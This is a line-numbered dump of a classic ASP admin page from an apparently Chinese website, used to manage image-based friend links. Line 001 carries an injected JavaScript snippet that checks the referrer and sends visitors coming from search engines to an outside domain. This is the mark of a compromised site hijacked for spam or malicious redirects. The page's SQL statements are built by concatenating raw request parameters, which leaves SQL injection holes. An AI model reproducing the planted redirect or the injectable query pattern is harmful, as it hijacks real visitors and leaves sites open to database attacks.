d:\wwwroot\wuchunhua\admin\link_img.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if
005: dim action,id,dname
006: id=request.QueryString("id")
007: action=request.querystring("action")
008: dweb=trim(request("web"))
009: dsm=trim(request("sm"))
010: if dweb<>"" and clng(id)>0 then conn.execute("update link_img set web='"&dweb&"' where id="&clng(id)&"")
011: select case action
012: case "add"
013: set rs=server.CreateObject("adodb.recordset")
014: rs.open "select * from link_img",conn,1,3
015: rs.AddNew
016: rs("web")=dweb
017: rs("sm")=dsm
018: rs("link")=trim(request("link"))
019: rs.Update
020: rs.Close:set rs=nothing
021:
022: case "edit"
023: conn.execute("update link_img set sm='"&dsm&"',link='"&trim(request("link"))&"' where id="&id&"")
024:
025: case "del"
026: conn.execute ("delete from link_img where id="&id)
027: conn.close:set conn=nothing
028: response.Redirect "link_img.asp"
029: end select
030: %
>
031: <html>
032: <head>
033: <title>友情链接管理</title>
034: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
035: <link rel="stylesheet" href="style.css" type="text/css">
036: </head>
037: <body>
038: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
039:   <tr>
040:     <td height="20" bgcolor="#799AE1" align="center"><a href="link.asp"><font color="#FFFFFF" style="font-size:14px">
041:       文 字 友 情 链 接 管 理</font></a></td>
042:   </tr>
043:   <tr>
044:     <td bgcolor="#FFFFFF"> <br>
045:      <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
046:         <tr align="center" bgcolor="#FFFFFF" height="20">
047:           <td width="30">编号</td>
048:           <td>网址链接</td>
049:           <td>文字说明</td>
050:           <td>管理操作</td>
051:           <td>图片地址(链接有效)</td>
052:           <td>上传图片</td>
053:         </tr>
054:         <%set rs=server.CreateObject("adodb.recordset")
055:         rs.Open "select * from link_img order by id",conn,1,1
056:         dim follows
057:         if rs.EOF and rs.BOF then
058:           response.write"<tr bgcolor=#FFFFFF><td colspan='4'><p align='center'><font color='red'>暂无友情链接!</font></td></tr></table><br>"
059:         follows=0
060:         else
061:         i=0
062:         do while not rs.EOF
063:         i=i+1
064:         %
>        
065:           <tr bgcolor="#FFFFFF" align="center">
066:             <td><%=i%></td><form name="form1" method="post" action="?action=edit&id=<%=int(rs("id"))%>">
067:             <td>
068:               <input name="link" type="text" id="link" value="<%=trim(rs("link"))%>" size="15">
069:             </td>
070:             <td>
071:               <input name="sm" type="text" id="sm" value="<%=trim(rs("sm"))%>" size="10">
072:             </td>
073:             <td>
074:               <input type="submit" name="Submit" value="修 改">
075:               &nbsp;
076:               <input type="button" name="DEL" onclick="{if(confirm('确定要删除这个友情链接吗?\n此操作不可以恢复!')){location.href='?id=<%=rs("id")%>&action=del';}return false;}" value="删除" >
077:             </td>
078:             
079:         </form>
080:       <td><input name="web2" type="text" id="web2" value="<%=trim(rs("web"))%>" size="15"></td>
081: <form name="form1" method="post" action="../upfile_photo.asp?id=<%=rs("id")%>" enctype="multipart/form-data">
082:             <td align="center">
083:               <input type="file" name="file1" size=15 class="an">
084:               <input type="submit" name="Submit" value="上传" class="an" style="font-size: 12px">
085:              <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value=2>
086:             </td>
087:           </form>
088:           </tr>
089:         <%rs.MoveNext
090:           loop
091:           follows=rs.RecordCount
092:           end if%
>
093:       </table>
094:    <br></td>
095:   </tr>
096: </table>
097: <br>
098: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
099:   <tr>
100:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">添
101:       加 文 字 友 情 链 接</font></td>
102:   </tr>
103:   <tr>
104:     <td bgcolor="#FFFFFF">
105:    <br>
106:      <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
107:         <tr align="center" bgcolor="#FFFFFF" height="20">
108:           <td width="30">编号 </td>
109:           <td>图片地址</td>
110:           <td>网址链接</td>
111:           <td>文字说明</td>
112:           <td>确定操作</td>
113:         </tr>
114:         <form name="form1" method="post" action="?action=add">
115:           <tr align="center" bgcolor="#FFFFFF">
116:             <td><%=rs.RecordCount+1%></td>
117:             <td>
118:               <input name="web" type="text" id="web" size="30">
119:             </td>
120:             <td>
121:               <input name="link" type="text" id="link" size="20">
122:             </td>
123:             <td>
124:               <input name="sm" type="text" id="sm" size="20">
125:             </td>
126:             <td>
127:               <input type="submit" name="Submit3" value="添 加">
128:             </td>
129:           </tr>
130:         </form>
131:       </table>
132:    <br></td>
133:   </tr>
134: </table>
135: </body>
136: </html>
137:
138: